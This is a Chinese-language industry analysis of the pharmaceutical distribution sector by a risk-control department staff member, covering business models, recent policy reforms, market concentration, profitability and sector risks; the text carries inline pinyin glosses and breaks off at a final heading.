一定发平台

医药流通行业简析与业务开展建议

发布时间:2020-05-29 点击量:255 作者:风险控制部—汪静

新冠肺炎疫情期间,医药行业受到高度关注,与抗击疫情直接相关的行业内企业享受了信贷政策的红利。随着人口老龄化、居民卫生保健意识增强、新医改政策刺激,医药行业发展前景向好。医药流通作为医药产业链上重要的一环,近年来发展较快,结合近期审查的九州通医药集团股份有限公司项目,对医药流通行业进行了研究分析,旨在对医药流通行业的营销及业务管理工作提供参考与决策支持。

一、行业简析

(一)产业链及业务模式

医(yi)药(yao)流通行业(ye)的(de)上游(you)为医(yi)药(yao)制造业(ye),下(xia)(xia)游(you)主要为零(ling)售(shou)(shou)药(yao)店(dian)、医(yi)疗机(ji)构等。医(yi)药(yao)流通企业(ye)从上游(you)厂家(jia)采购货物,然后批发给(ji)下(xia)(xia)游(you)经销商(shang),或直接出售(shou)(shou)给(ji)医(yi)院、药(yao)店(dian)等零(ling)售(shou)(shou)终端(duan)客户,主要通过交易(yi)差价、厂家(jia)促销和返利(li)、提(ti)供增值服务获取利(li)润(run),在医(yi)药(yao)产(chan)业(ye)链(lian)中发挥承上启下(xia)(xia)的(de)作用(产(chan)业(ye)链(lian)流程(cheng)图(tu)如图(tu)1所示)。

目(mu)前情(qing)况来看(kan),医(yi)(yi)(yi)(yi)药(yao)(yao)(yao)(yao)流通企(qi)业相较(jiao)下游(you)话语(yu)权(quan)较(jiao)弱。上(shang)游(you)医(yi)(yi)(yi)(yi)药(yao)(yao)(yao)(yao)制造(zao)企(qi)业由于市场(chang)竞争(zheng)激烈(lie)、市场(chang)集中(zhong)度低,使(shi)得(de)医(yi)(yi)(yi)(yi)药(yao)(yao)(yao)(yao)流通企(qi)业有一定的(de)选(xuan)择权(quan),但对具备品种优势的(de)医(yi)(yi)(yi)(yi)药(yao)(yao)(yao)(yao)制造(zao)企(qi)业除(chu)外。


图1:产业(ye)链流程图


医药流通企业的(de)主(zhu)要(yao)商业模式(shi)可以分为传统的(de)批发、零售模式(shi)与各类新型流通模式(shi)。

1.批发

根据下游(you)客户(hu)的不同(tong)主(zhu)要(yao)有(you)以(yi)下两种经(jing)营(ying)模式(shi):一是(shi)(shi)(shi)“面向二级及(ji)以(yi)上医(yi)疗机构为(wei)主(zhu)的经(jing)营(ying)模式(shi)”(直接将药品销(xiao)售(shou)给医(yi)院(yuan)(yuan),又称“纯销(xiao)模式(shi)”),其特(te)点是(shi)(shi)(shi)存(cun)货周转(zhuan)率(lv)、毛利率(lv)较(jiao)(jiao)(jiao)高但回款较(jiao)(jiao)(jiao)慢;二是(shi)(shi)(shi)“以(yi)市场(chang)(chang)分(fen)销(xiao)为(wei)主(zhu)的经(jing)营(ying)模式(shi)”(以(yi)下游(you)分(fen)销(xiao)商、药店、民营(ying)医(yi)院(yuan)(yuan)和诊所等市场(chang)(chang)化客户(hu)为(wei)主(zhu)要(yao)销(xiao)售(shou)对象),其特(te)点是(shi)(shi)(shi)毛利率(lv)较(jiao)(jiao)(jiao)低、配送周转(zhuan)速度较(jiao)(jiao)(jiao)快从而存(cun)货周转(zhuan)较(jiao)(jiao)(jiao)慢、账期较(jiao)(jiao)(jiao)短。

2.零售

指零售(shou)药(yao)店从医药(yao)制造企(qi)业(ye)或其他医药(yao)流通(tong)企(qi)业(ye)购进医药(yao)产品后,将(jiang)其销售(shou)给个人消(xiao)费者(zhe)以(yi)赚取进销差价的模(mo)(mo)式(shi)。相(xiang)较于(yu)批(pi)发模(mo)(mo)式(shi),零售(shou)模(mo)(mo)式(shi)的规(gui)模(mo)(mo)更小,但毛利率更高。零售(shou)模(mo)(mo)式(shi)具(ju)体可细分为(wei)单(dan)店模(mo)(mo)式(shi)及(ji)连锁(suo)(suo)模(mo)(mo)式(shi)两类(lei),其中连锁(suo)(suo)模(mo)(mo)式(shi)又有直营连锁(suo)(suo)及(ji)加(jia)盟连锁(suo)(suo)两种经营模(mo)(mo)式(shi)。

3.各类新型流通模式

(1)DTP药(yao)房:零售药(yao)店(dian)获得医药(yao)制(zhi)造企(qi)业产品(pin)经销/代(dai)理权,患者在(zai)医院获得处方后从药(yao)店(dian)直接(jie)购买药(yao)品(pin)并获得专业指导与服务。

(2)药房(fang)托管(guan):基于公立医院取消药品加成后,门诊药房(fang)成为“成本(ben)中(zhong)心(xin)”,一些医院为了减轻压力(li),通过契约形(xing)式(shi),将药房(fang)的药品销(xiao)售工作交给有实力(li)的医药公司承(cheng)接。

(3)互联网+医药(yao)新零售模式:主要是各类(lei)互联网医院(yuan)所采取的模式。

(4)院外处(chu)方流(liu)转平(ping)台:通过与当地资源(政(zheng)府部(bu)门、医疗(liao)机(ji)构等)共享合作,建立处(chu)方共享的平(ping)台,实现处(chu)方流(liu)出。

各类新型流(liu)通模式(shi)目前份额极小,未来可能成(cheng)为医药流(liu)通的重(zhong)要商业(ye)模式(shi)之(zhi)一(yi)。

(二)行业重点政策解读

1.零加成

2015年5月(yue)6日依(yi)据国务院办公厅发布(bu)的(de)(de)(de)(de)《关于城市公立医(yi)(yi)院综合改革试点的(de)(de)(de)(de)指导(dao)意见》, 报告(gao)期内,各地逐步开(kai)始推(tui)行 “医(yi)(yi)药(yao)(yao)(yao)分(fen)开(kai)”、“阳(yang)光采(cai)购(gou)”、“零差率”等政(zheng)策。药(yao)(yao)(yao)品(pin)零加成的(de)(de)(de)(de)推(tui)行不仅会使(shi)得公立医(yi)(yi)疗(liao)机(ji)构(gou)过去通过药(yao)(yao)(yao)品(pin)加成获得的(de)(de)(de)(de)收入消失,而且由于公立医(yi)(yi)疗(liao)机(ji)构(gou)销售药(yao)(yao)(yao)品(pin)而发生的(de)(de)(de)(de)费用(yong)增加了其成本支(zhi)出,这(zhei)在一(yi)定程度上(shang)会造成部分(fen)公立医(yi)(yi)院经费紧张,导(dao)致商业流通企(qi)业回款(kuan)周(zhou)期有所延长。

2.药占比

根据2017年4月国家卫(wei)生计生委、财政(zheng)部、中央(yang)编(bian)办、国家发(fa)展改(gai)革(ge)委、人力资源社会(hui)(hui)保障部、国家中医(yi)(yi)(yi)药(yao)局(ju)、国务院医(yi)(yi)(yi)改(gai)办等部门发(fa)布的(de)(de)(de)《关于全面(mian)推开公立(li)(li)医(yi)(yi)(yi)院综合改(gai) 革(ge)工作(zuo)的(de)(de)(de)通知》,公立(li)(li)医(yi)(yi)(yi)疗机(ji)构(gou)的(de)(de)(de)药(yao)品收(shou)入(ru)(ru)占(zhan)比将不超(chao)过(guo)总收(shou)入(ru)(ru)的(de)(de)(de)30%,这一(yi)政(zheng)策将会(hui)(hui)导致二级(ji)及以上公立(li)(li)医(yi)(yi)(yi)疗机(ji)构(gou)的(de)(de)(de)药(yao)品销(xiao)售(shou)量减(jian)少。一(yi)方(fang)(fang)面(mian),二级(ji)及以上公立(li)(li)医(yi)(yi)(yi)疗机(ji)构(gou)的(de)(de)(de)自费药(yao)处(chu)方(fang)(fang)可能会(hui)(hui)外流(liu)(liu)到某(mou)些(xie)经销(xiao)特殊药(yao)品的(de)(de)(de)药(yao)房;另一(yi)方(fang)(fang)面(mian),纳入(ru)(ru)报销(xiao)范围的(de)(de)(de)部分(fen)慢病处(chu)方(fang)(fang)药(yao)将会(hui)(hui)流(liu)(liu)向基层医(yi)(yi)(yi)疗机(ji)构(gou)。

3.分级诊疗

2017年4—5月国(guo)务(wu)院办(ban)公厅出(chu)台(tai)了《关于推进(jin)医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)联合体(ti)(ti)建(jian)设(she)和发展的指导意见》、《关于支持社会力量(liang)提供(gong)多(duo)层次(ci)多(duo)样化医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)服务(wu)的意见》,要求(qiu)(qiu)完善(shan)医(yi)(yi)(yi)联体(ti)(ti)内部(bu)分工协作(zuo)机制、促进(jin)医(yi)(yi)(yi)联体(ti)(ti)内部(bu)优质(zhi)医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)资源(yuan)上下(xia)贯通(tong),拓展多(duo)层次(ci)多(duo)样化服务(wu)。随着分级(ji)诊疗(liao)(liao)(liao)(liao)(liao)(liao)和基(ji)层医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)机构(gou)(gou)使(shi)用非基(ji)本(ben)药(yao)物(wu)的逐(zhu)(zhu)步(bu)开(kai)放,药(yao)品(pin)流通(tong)格局将会从(cong)过(guo)去二级(ji)以上医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)机构(gou)(gou)为主渠道,逐(zhu)(zhu)步(bu)向基(ji)层医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)机构(gou)(gou)下(xia)沉。特别是一(yi)些(xie)原(yuan)来没有纳入基(ji)药(yao)目录范围(wei)内的慢病用药(yao)将会从(cong)二级(ji)及(ji)以上医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)机构(gou)(gou)的流通(tong)渠道逐(zhu)(zhu)步(bu)过(guo)渡(du)到(dao)基(ji)层医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)机构(gou)(gou)。这将有利于调整(zheng)优化医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)资源(yuan)结构(gou)(gou)布局,提升医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)卫生服务(wu)体(ti)(ti)系(xi)整(zheng)体(ti)(ti)效能(neng),方便群众(zhong)的用药(yao)需求(qiu)(qiu),同时也带(dai)动了基(ji)层医(yi)(yi)(yi)疗(liao)(liao)(liao)(liao)(liao)(liao)机构(gou)(gou)药(yao)品(pin)销售(shou)。

4.两票制

2017年1月9日(ri),国家(jia)卫计委(wei)印发《关于(yu)在公(gong)立医(yi)(yi)疗(liao)(liao)机构药(yao)品(pin)采(cai)购(gou)中(zhong)推行(xing)(xing)“两票(piao)制(zhi)”的(de)(de)实施意见(试行(xing)(xing))》,宣告(gao)全国“两票(piao)制(zhi)”的(de)(de)开始。“两票(piao)制(zhi)”指药(yao)品(pin)从生产企(qi)业(ye)(ye)(ye)卖(mai)到(dao)商业(ye)(ye)(ye)流通(tong)(tong)企(qi)业(ye)(ye)(ye)开一(yi)次发票(piao),商业(ye)(ye)(ye)流通(tong)(tong)企(qi)业(ye)(ye)(ye)卖(mai)到(dao)医(yi)(yi)疗(liao)(liao)机构再(zai)开一(yi)次发票(piao)。“两票(piao)制(zhi)”的(de)(de)主(zhu)要(yao)目的(de)(de)之一(yi)是通(tong)(tong)过减(jian)少药(yao)品(pin)流通(tong)(tong)的(de)(de)中(zhong)间环节,促(cu)使药(yao)品(pin)各级价格透明化、降低药(yao)品(pin)价格虚高(gao),此过程中(zhong)必将(jiang)淘汰大批(pi)没有上(shang)游(you)药(yao)品(pin)采(cai)购(gou)资源和下(xia)游(you)医(yi)(yi)院终端(duan)资源的(de)(de)调拨中(zhong)间商。对于(yu)中(zhong)小(xiao)医(yi)(yi)药(yao)批(pi)发企(qi)业(ye)(ye)(ye)而言,上(shang)游(you)供应的(de)(de)不足(zu)以及下(xia)游(you)销售(shou)渠道的(de)(de)萎(wei)缩(suo)将(jiang)会给(ji)企(qi)业(ye)(ye)(ye)营收带来(lai)极大的(de)(de)压力,并(bing)且医(yi)(yi)药(yao)工(gong)业(ye)(ye)(ye)企(qi)业(ye)(ye)(ye)对于(yu)中(zhong)小(xiao)医(yi)(yi)药(yao)批(pi)发企(qi)业(ye)(ye)(ye)信用(yong)政策的(de)(de)收缩(suo)会极大的(de)(de)加重企(qi)业(ye)(ye)(ye)的(de)(de)现金流负担,导致企(qi)业(ye)(ye)(ye)盈利能力和偿债(zhai)能力同(tong)时下(xia)降。整(zheng)体来(lai)看,两票(piao)制(zhi)的(de)(de)推行(xing)(xing)将(jiang)带来(lai)医(yi)(yi)药(yao)流通(tong)(tong)领域大洗牌(pai),大量(liang)(liang)中(zhong)小(xiao)型商业(ye)(ye)(ye)公(gong)司将(jiang)被淘汰出局或转型,全国性及区域性龙头医(yi)(yi)药(yao)流通(tong)(tong)企(qi)业(ye)(ye)(ye)通(tong)(tong)过并(bing)购(gou)整(zheng)合扩大医(yi)(yi)药(yao)终端(duan)覆盖数量(liang)(liang)、做大收入体量(liang)(liang),行(xing)(xing)业(ye)(ye)(ye)集中(zhong)度(du)将(jiang)大幅提升。

5.带量采购

2018年11月15日《4+7城(cheng)市(shi)(shi)药(yao)品(pin)集(ji)(ji)(ji)中采购(gou)(gou)文件》发布,在北京、上海、天津等11个试点城(cheng)市(shi)(shi)开展药(yao)品(pin)集(ji)(ji)(ji)中采购(gou)(gou),确(que)定了(le)31个品(pin)种(42个品(pin)规),所涉及(ji)的(de)原(yuan)研或通过一(yi)致(zhi)性(xing)评价的(de)仿制药(yao)都可(ke)以(yi)参与(yu)申报(bao)。挤掉(diao)药(yao)品(pin)价格中的(de)“水(shui)分(fen)”,以(yi)通过一(yi)致(zhi)性(xing)评价的(de)仿制药(yao)替(ti)代(dai)专利过期(qi)的(de)高价原(yuan)研药(yao),为此(ci)次“4+7”集(ji)(ji)(ji)采的(de)重要(yao)目的(de)。带(dai)量采购(gou)(gou)将带(dai)来产业(ye)整(zheng)合(he)及(ji)市(shi)(shi)场集(ji)(ji)(ji)中:一(yi)是(shi)药(yao)价大(da)幅下降,医(yi)药(yao)流(liu)通利润空间收缩(suo),竞争加剧;二是(shi)带(dai)量采购(gou)(gou)后部分(fen)医(yi)疗机构重新(xin)选择(ze)配送(song)商,大(da)企业(ye)由(you)于集(ji)(ji)(ji)约(yue)化的(de)成本优势,更(geng)容易(yi)拿到订单。带(dai)量采购(gou)(gou)对于预(yu)(yu)付及(ji)回款时间节点做出(chu)了(le)明(ming)确(que)规定,要(yao)求(qiu)预(yu)(yu)付比例不低于30%,有望改善流(liu)通企业(ye)现金(jin)回流(liu)。

6.一票制

2020年(nian)3月(yue)5日(ri)国(guo)务院(yuan)(yuan)发(fa)布(bu)《关(guan)于深化(hua)医(yi)疗保障制度改革的(de)意见(jian)》,文件(jian)再次(ci)确(que)认未来医(yi)保基金的(de)货(huo)(huo)款结(jie)算(suan)(suan)方式为推进医(yi)保基金与医(yi)药(yao)(yao)企(qi)业(ye)(ye)直(zhi)接(jie)结(jie)算(suan)(suan),意味着药(yao)(yao)品“一(yi)(yi)(yi)票制”时(shi)代可(ke)能(neng)即将(jiang)到来。药(yao)(yao)品“一(yi)(yi)(yi)票制”指药(yao)(yao)品流(liu)(liu)通次(ci)数不(bu)得超过1次(ci),医(yi)院(yuan)(yuan)和药(yao)(yao)企(qi)直(zhi)接(jie)结(jie)算(suan)(suan)货(huo)(huo)款,药(yao)(yao)企(qi)和商业(ye)(ye)公司直(zhi)接(jie)结(jie)算(suan)(suan)配(pei)(pei)(pei)送(song)费用。山(shan)东(dong)、广东(dong)、浙(zhe)江、湖北等多地(di)已经(jing)出台了政策鼓(gu)励或开始试(shi)点(dian)药(yao)(yao)品“一(yi)(yi)(yi)票制”,鼓(gu)励药(yao)(yao)企(qi)以一(yi)(yi)(yi)票制形(xing)式直(zhi)接(jie)配(pei)(pei)(pei)送(song)到医(yi)院(yuan)(yuan)。“一(yi)(yi)(yi)票制”的(de)全国(guo)施行可(ke)能(neng)会对部分(fen)医(yi)药(yao)(yao)流(liu)(liu)通企(qi)业(ye)(ye)带来冲击(ji),服务能(neng)力和配(pei)(pei)(pei)送(song)网(wang)络薄弱的(de)医(yi)药(yao)(yao)流(liu)(liu)通企(qi)业(ye)(ye)将(jiang)会出局。在(zai)传统(tong)的(de)流(liu)(liu)通格(ge)局中(zhong),流(liu)(liu)通企(qi)业(ye)(ye)主要承担垫资、配(pei)(pei)(pei)送(song)功(gong)(gong)(gong)能(neng),“一(yi)(yi)(yi)票制”意味着其垫资功(gong)(gong)(gong)能(neng)弱化(hua),只剩下配(pei)(pei)(pei)送(song)功(gong)(gong)(gong)能(neng),未来可(ke)能(neng)面临顺丰(feng)、菜鸟、京东(dong)等物(wu)流(liu)(liu)平台蚕食市场份额的(de)局面。在(zai)这一(yi)(yi)(yi)趋势(shi)下,流(liu)(liu)通企(qi)业(ye)(ye)仍需(xu)提前做好布(bu)局,通过完善的(de)配(pei)(pei)(pei)送(song)网(wang)络优势(shi)延伸产业(ye)(ye)链,寻找新的(de)增(zeng)长(zhang)点(dian)。

(三)行业发展现状

1.行业销售稳定增长,增速略有回落

医药(yao)(yao)行(xing)业(ye)(ye)关乎国(guo)(guo)计(ji)民生,受宏(hong)观经(jing)济周期性波(bo)动(dong)影(ying)响小,需(xu)求刚性。近(jin)年(nian)(nian)来(lai),在外部宏(hong)观经(jing)济发展、政策变(bian)化(hua)以(yi)及人口老龄化(hua)趋(qu)势(shi)等综合影(ying)响下,中国(guo)(guo)医药(yao)(yao)流(liu)通行(xing)业(ye)(ye)规模保(bao)持增(zeng)(zeng)长,行(xing)业(ye)(ye)增(zeng)(zeng)速逐步放缓(huan)。据商务部药(yao)(yao)品流(liu)通统计(ji)系统数据显示,2019年(nian)(nian)全国(guo)(guo)七大(da)类医药(yao)(yao)商品销售(shou)总额(e)23,303亿元(yuan)(含(han)税),扣除不可比因素,同比增(zeng)(zeng)长8.87%,增(zeng)(zeng)速较同期上升1.36个(ge)百分(fen)点(dian)。 2014年(nian)(nian)以(yi)来(lai)行(xing)业(ye)(ye)销售(shou)总额(e)增(zeng)(zeng)速总体呈(cheng)回落(luo)趋(qu)势(shi),2019年(nian)(nian)增(zeng)(zeng)速稍有(you)回升。

图2:2014-2019年药品流(liu)通(tong)行业销售总额情况

                                   单位:亿元



2.“4+N”的竞争格局,竞争激烈

截至2018年底,中(zhong)国(guo)共有药品批(pi)发企业(ye)(ye)13,598家,呈现(xian)数量多、规模小(xiao)的(de)特点。当前国(guo)内(nei)医(yi)药流通(tong)行业(ye)(ye)基本形成了“4+N”的(de)竞争格局,其中(zhong)“4”指(zhi)国(guo)药集团(tuan)、上海(hai)医(yi)药、华(hua)润医(yi)药和九(jiu)州通(tong)四大全国(guo)性医(yi)药流通(tong)企业(ye)(ye),其中(zhong)国(guo)药集团(tuan)、上海(hai)医(yi)药及(ji)华(hua)润医(yi)药均突(tu)破千亿规模;“N”指(zhi)以(yi)华(hua)东(dong)(dong)医(yi)药(主要面向浙江(jiang)市(shi)场)、南京医(yi)药(主要面向华(hua)东(dong)(dong)、江(jiang)苏等(deng)市(shi)场)、瑞康医(yi)药(主要面向山东(dong)(dong)市(shi)场)、英特集团(tuan)(主要面向浙江(jiang)市(shi)场)、广(guang)州医(yi)药(主要面向广(guang)东(dong)(dong)市(shi)场)等(deng)为代表(biao)的(de)区域(yu)性龙(long)头企业(ye)(ye),2018年医(yi)药批(pi)发企业(ye)(ye)主营业(ye)(ye)务收入(ru)前10强如下表(biao)1所示。

 

表(biao)1:2018年度医(yi)药批发企业(ye)主营业(ye)务收入前10强


 2018年,前(qian)100位(wei)药(yao)(yao)品批发企业(ye)主(zhu)营业(ye)务收入(ru)占(zhan)同(tong)期全(quan)(quan)国(guo)(guo)医药(yao)(yao)市场总规模的72%,同(tong)比上升(sheng)1.3个百分(fen)点;其中,4家全(quan)(quan)国(guo)(guo)龙(long)头(tou)企业(ye)主(zhu)营业(ye)务收入(ru)占(zhan)同(tong)期全(quan)(quan)国(guo)(guo)医药(yao)(yao)市场总规模39.1%,同(tong)比上升(sheng)1.4个百分(fen)点;前(qian)10位(wei)占(zhan)50.0%,同(tong)比上升(sheng)2.4个百分(fen)点。对于(yu)单一区域内,流通(tong)(tong)格局通(tong)(tong)常(chang)是2-3家全(quan)(quan)国(guo)(guo)龙(long)头(tou)加3-5家区域龙(long)头(tou)占(zhan)据约50%左右的市场份额,数百家流通(tong)(tong)商分(fen)割剩下的50%市场份额。

图3:行业集中(zhong)度情况


注:2014-2015年(nian)商务部对前(qian)3位药品批发(fa)企业(不含九(jiu)州(zhou)通(tong)(tong))占比(bi)统(tong)(tong)计,2016年(nian)-2018年(nian)商务部对前(qian)4位药品批发(fa)企业(包括九(jiu)州(zhou)通(tong)(tong))占比(bi)统(tong)(tong)计。

3.盈利水平有所增强,但仍处低位,国有企业占据主导

近(jin)年(nian)来,全(quan)国药(yao)品(pin)流(liu)(liu)通直(zhi)报(bao)企(qi)(qi)(qi)业(ye)(ye)(ye)(ye)主营业(ye)(ye)(ye)(ye)务(wu)收入持续增(zeng)长,由2012年(nian)的(de)(de)(de)(de)7,942亿(yi)元(yuan)增(zeng)至2019年(nian)的(de)(de)(de)(de)16,967亿(yi)元(yuan);同(tong)期,全(quan)国药(yao)品(pin)流(liu)(liu)通直(zhi)报(bao)企(qi)(qi)(qi)业(ye)(ye)(ye)(ye)实现(xian)利(li)润(run)(run)总额由2012年(nian)的(de)(de)(de)(de)164亿(yi)元(yuan)增(zeng)至2019年(nian)的(de)(de)(de)(de)303亿(yi)元(yuan)。受行(xing)业(ye)(ye)(ye)(ye)增(zeng)速(su)放(fang)缓影(ying)响,全(quan)国药(yao)品(pin)流(liu)(liu)通直(zhi)报(bao)企(qi)(qi)(qi)业(ye)(ye)(ye)(ye)收入及(ji)利(li)润(run)(run)同(tong)比(bi)增(zeng)速(su)均(jun)放(fang)缓。毛(mao)利(li)、费(fei)(fei)用(yong)(yong)及(ji)利(li)润(run)(run)比(bi)率方面,近(jin)年(nian)来,受“营改增(zeng)”及(ji)“两票制”等因素的(de)(de)(de)(de)影(ying)响,上(shang)(shang)游医药(yao)制造企(qi)(qi)(qi)业(ye)(ye)(ye)(ye)在开(kai)(kai)票环节(jie)由过去的(de)(de)(de)(de)“低开(kai)(kai)”转(zhuan)变为“高(gao)开(kai)(kai)”,同(tong)时(shi)毛(mao)利(li)空间较高(gao)的(de)(de)(de)(de)纯销(xiao)业(ye)(ye)(ye)(ye)务(wu)占比(bi)得(de)到提升(sheng),行(xing)业(ye)(ye)(ye)(ye)整体毛(mao)利(li)水(shui)(shui)平有所提升(sheng),2019年(nian)平均(jun)毛(mao)利(li)率8.58%,同(tong)比(bi)上(shang)(shang)升(sheng)0.48个(ge)百(bai)分(fen)点(dian);与此同(tong)时(shi),过去由下级分(fen)销(xiao)商承担的(de)(de)(de)(de)在药(yao)品(pin)销(xiao)售(shou)流(liu)(liu)通环节(jie)中的(de)(de)(de)(de)销(xiao)售(shou)、管理费(fei)(fei)用(yong)(yong)将转(zhuan)移给医药(yao)流(liu)(liu)通企(qi)(qi)(qi)业(ye)(ye)(ye)(ye),2019年(nian)全(quan)国药(yao)品(pin)流(liu)(liu)通直(zhi)报(bao)企(qi)(qi)(qi)业(ye)(ye)(ye)(ye)平均(jun)费(fei)(fei)用(yong)(yong)率为6.85%,同(tong)比(bi)上(shang)(shang)升(sheng)0.37个(ge)百(bai)分(fen)点(dian);全(quan)国药(yao)品(pin)流(liu)(liu)通直(zhi)报(bao)企(qi)(qi)(qi)业(ye)(ye)(ye)(ye)平均(jun)利(li)润(run)(run)率水(shui)(shui)平持续维持在较低水(shui)(shui)平,2019年(nian)为1.78%,同(tong)比(bi)下降0.2个(ge)百(bai)分(fen)点(dian)。

从不同企(qi)(qi)业(ye)(ye)(ye)性质来看(kan),全国(guo)(guo)药品流通(tong)直报(bao)企(qi)(qi)业(ye)(ye)(ye)中,凭借着(zhe)政府资源和规模优势,国(guo)(guo)有(you)企(qi)(qi)业(ye)(ye)(ye)占(zhan)据(ju)着(zhe)行(xing)业(ye)(ye)(ye)主(zhu)导地位(wei)。根据(ju)商务(wu)部数据(ju)显示,2018年国(guo)(guo)有(you)及国(guo)(guo)有(you)控股(gu)药品流通(tong)企(qi)(qi)业(ye)(ye)(ye)主(zhu)营(ying)(ying)业(ye)(ye)(ye)务(wu)收(shou)(shou)入(ru)(ru)9,541亿元(yuan),占(zhan)直报(bao)企(qi)(qi)业(ye)(ye)(ye)主(zhu)营(ying)(ying)业(ye)(ye)(ye)务(wu)收(shou)(shou)入(ru)(ru)的60.5%,实现利(li)(li)润219亿元(yuan),占(zhan)直报(bao)企(qi)(qi)业(ye)(ye)(ye)利(li)(li)润总额的54.6%。股(gu)份制企(qi)(qi)业(ye)(ye)(ye)主(zhu)营(ying)(ying)业(ye)(ye)(ye)务(wu)收(shou)(shou)入(ru)(ru)5,034亿元(yuan),占(zhan)比31.9%,利(li)(li)润总额占(zhan)比38.2%。

图(tu)4:不同企(qi)业性质收入和(he)利(li)润(run)占比情况









(四)行业特点

1.行业壁垒

我国对医药(yao)流通行(xing)业(ye)实(shi)行(xing)严格的资质准入(ru)(ru)制(zhi)度,药(yao)品(pin)(pin)经(jing)(jing)营(ying)(ying)企业(ye)需要取(qu)得《药(yao)品(pin)(pin)经(jing)(jing)营(ying)(ying)许(xu)可证》和(he)(he)《药(yao)品(pin)(pin)经(jing)(jing)营(ying)(ying)质量管理(li)规范(fan)认证》(GSP)。此(ci)外,行(xing)业(ye)新进入(ru)(ru)者要在(zai)短时间内积累上下(xia)游市场资源(yuan)非常困(kun)难,且具备较(jiao)大的规模和(he)(he)资金实(shi)力才有竞争力,形成(cheng)一定(ding)的行(xing)业(ye)壁垒。

2.政策强相关行业

医(yi)药流通(tong)行(xing)业属(shu)于政(zheng)策(ce)强相关行(xing)业,容易受到国家及地方(fang)有关政(zheng)策(ce)的(de)影响,特别是医(yi)疗卫生、医(yi)疗保障、医(yi)疗流通(tong)体制改革的(de)影响。

3.行业议价能力较弱

处(chu)于(yu)产业链(lian)中间,行业竞争激烈(lie),上(shang)游(you)对特色药品(pin)生产企业、下游(you)面临医(yi)院(yuan)等垄(long)断性(xing)单位(医(yi)院(yuan)销(xiao)售(shou)的药品(pin)占中国(guo)药品(pin)销(xiao)售(shou)市场份额的60%~70%),议价(jia)能力(li)较弱。

4.资金密集型

医药流(liu)通行业(ye)(ye)属于典型的快周转行业(ye)(ye),企业(ye)(ye)资(zi)(zi)金周转压力大,财务指标上一般呈现毛利率(lv)低、资(zi)(zi)产负债(zhai)率(lv)较高(gao)、短期负债(zhai)比例高(gao)的特点,要求企业(ye)(ye)具有(you)较高(gao)的运营效率(lv),较强的成(cheng)本控制能(neng)力和资(zi)(zi)金管(guan)理能(neng)力。

(五)行业风险特征

1.政策与监管风险

医药流(liu)(liu)通(tong)(tong)与人(ren)民群众(zhong)的生(sheng)(sheng)命健康和(he)(he)生(sheng)(sheng)活质量等切身利益密切相(xiang)关,是政(zheng)府高度(du)管制(zhi)的行业(ye),行业(ye)政(zheng)策和(he)(he)监管对(dui)医药流(liu)(liu)通(tong)(tong)行业(ye)影响较大(da)。政(zheng)府新政(zheng)策和(he)(he)监管措施的出台将在不同程(cheng)度(du)上对(dui)行业(ye)内企业(ye)竞争格局(ju)、生(sheng)(sheng)产(chan)经营(ying)状况和(he)(he)盈利能力产(chan)生(sheng)(sheng)影响。

2.对外部融资依赖较大

医药流(liu)通(tong)企(qi)业面对强势的(de)(de)上游企(qi)业需(xu)要(yao)预付款项,而下(xia)游账期(qi)较(jiao)长资金(jin)占用(yong)现象普遍,资金(jin)压力较(jiao)大,通(tong)常利(li)用(yong)短期(qi)外部融(rong)资撬动采购和销售(shou)等流(liu)通(tong)环(huan)节的(de)(de)运转(zhuan)。这一方面降低了企(qi)业自(zi)有资金(jin)的(de)(de)要(yao)求,可以通(tong)过财务杠杆的(de)(de)运用(yong),以较(jiao)小的(de)(de)资本金(jin)带(dai)动较(jiao)大的(de)(de)业务规模,另一方面也(ye)对企(qi)业资金(jin)链(lian)和业务链(lian)的(de)(de)管理提出来更高的(de)(de)要(yao)求,一旦供应链(lian)某一环(huan)节出现缺口,而外部融(rong)资又无法及时(shi)跟(gen)上,可能导(dao)致资金(jin)链(lian)中断出现风(feng)险。

3.市场充分竞争,规模效应显著

行业(ye)集(ji)中(zhong)度较(jiao)低,市场(chang)竞(jing)争激(ji)烈,大(da)公司、大(da)集(ji)团在医药市场(chang)的(de)(de)地位和(he)作用日益凸显(xian),市场(chang)集(ji)中(zhong)度和(he)经济效(xiao)益集(ji)中(zhong)度显(xian)著提高。大(da)型医药流(liu)通(tong)企业(ye)受(shou)益于(yu)低成本资(zi)金和(he)大(da)量优(you)质客户资(zi)源的(de)(de)控制,具有较(jiao)强的(de)(de)议价能力和(he)规模经济效(xiao)应。而在市场(chang)风(feng)险加大(da)的(de)(de)情况下(xia),小型医药流(liu)通(tong)企业(ye)可能受(shou)困于(yu)收入的(de)(de)下(xia)降(jiang)和(he)财务(wu)成本的(de)(de)上升,出现生存困难(nan)。

(六)行业展望

1.医药流通行业销售规模将持续增长

长期来(lai)(lai)看,在未来(lai)(lai)宏观经济(ji)持续发(fa)展、医改政策不断深化以及国人对健(jian)康医疗(liao)消(xiao)费需求不断升(sheng)级的前提(ti)下,行(xing)业规模将保持稳步增(zeng)长。

2.进入结构调整期、行业集中度持续提升

近年(nian)来(lai),随着药品(pin)零加(jia)成、控(kong)制药占(zhan)比、两(liang)票(piao)制等政策的实施(shi),医(yi)药流(liu)通行业(ye)(ye)的发展逐步走向规范,一些中小(xiao)型医(yi)药流(liu)通企(qi)业(ye)(ye)正在(zai)逐步被(bei)兼并收购(gou)或退出市(shi)场(chang),医(yi)药流(liu)通行业(ye)(ye)进入结构调整期。未来(lai)几年(nian)内在(zai)政策驱动下(xia)医(yi)药流(liu)通市(shi)场(chang)竞争(zheng)将(jiang)(jiang)更加(jia)激烈,流(liu)通企(qi)业(ye)(ye)跨区并购(gou)将(jiang)(jiang)进一步加(jia)快,规模小(xiao)、渠(qu)道单一的流(liu)通企(qi)业(ye)(ye)将(jiang)(jiang)难以为(wei)继,行业(ye)(ye)集(ji)中度将(jiang)(jiang)进一步提高。

3.资本成为改变药品流通行业格局的重要力量

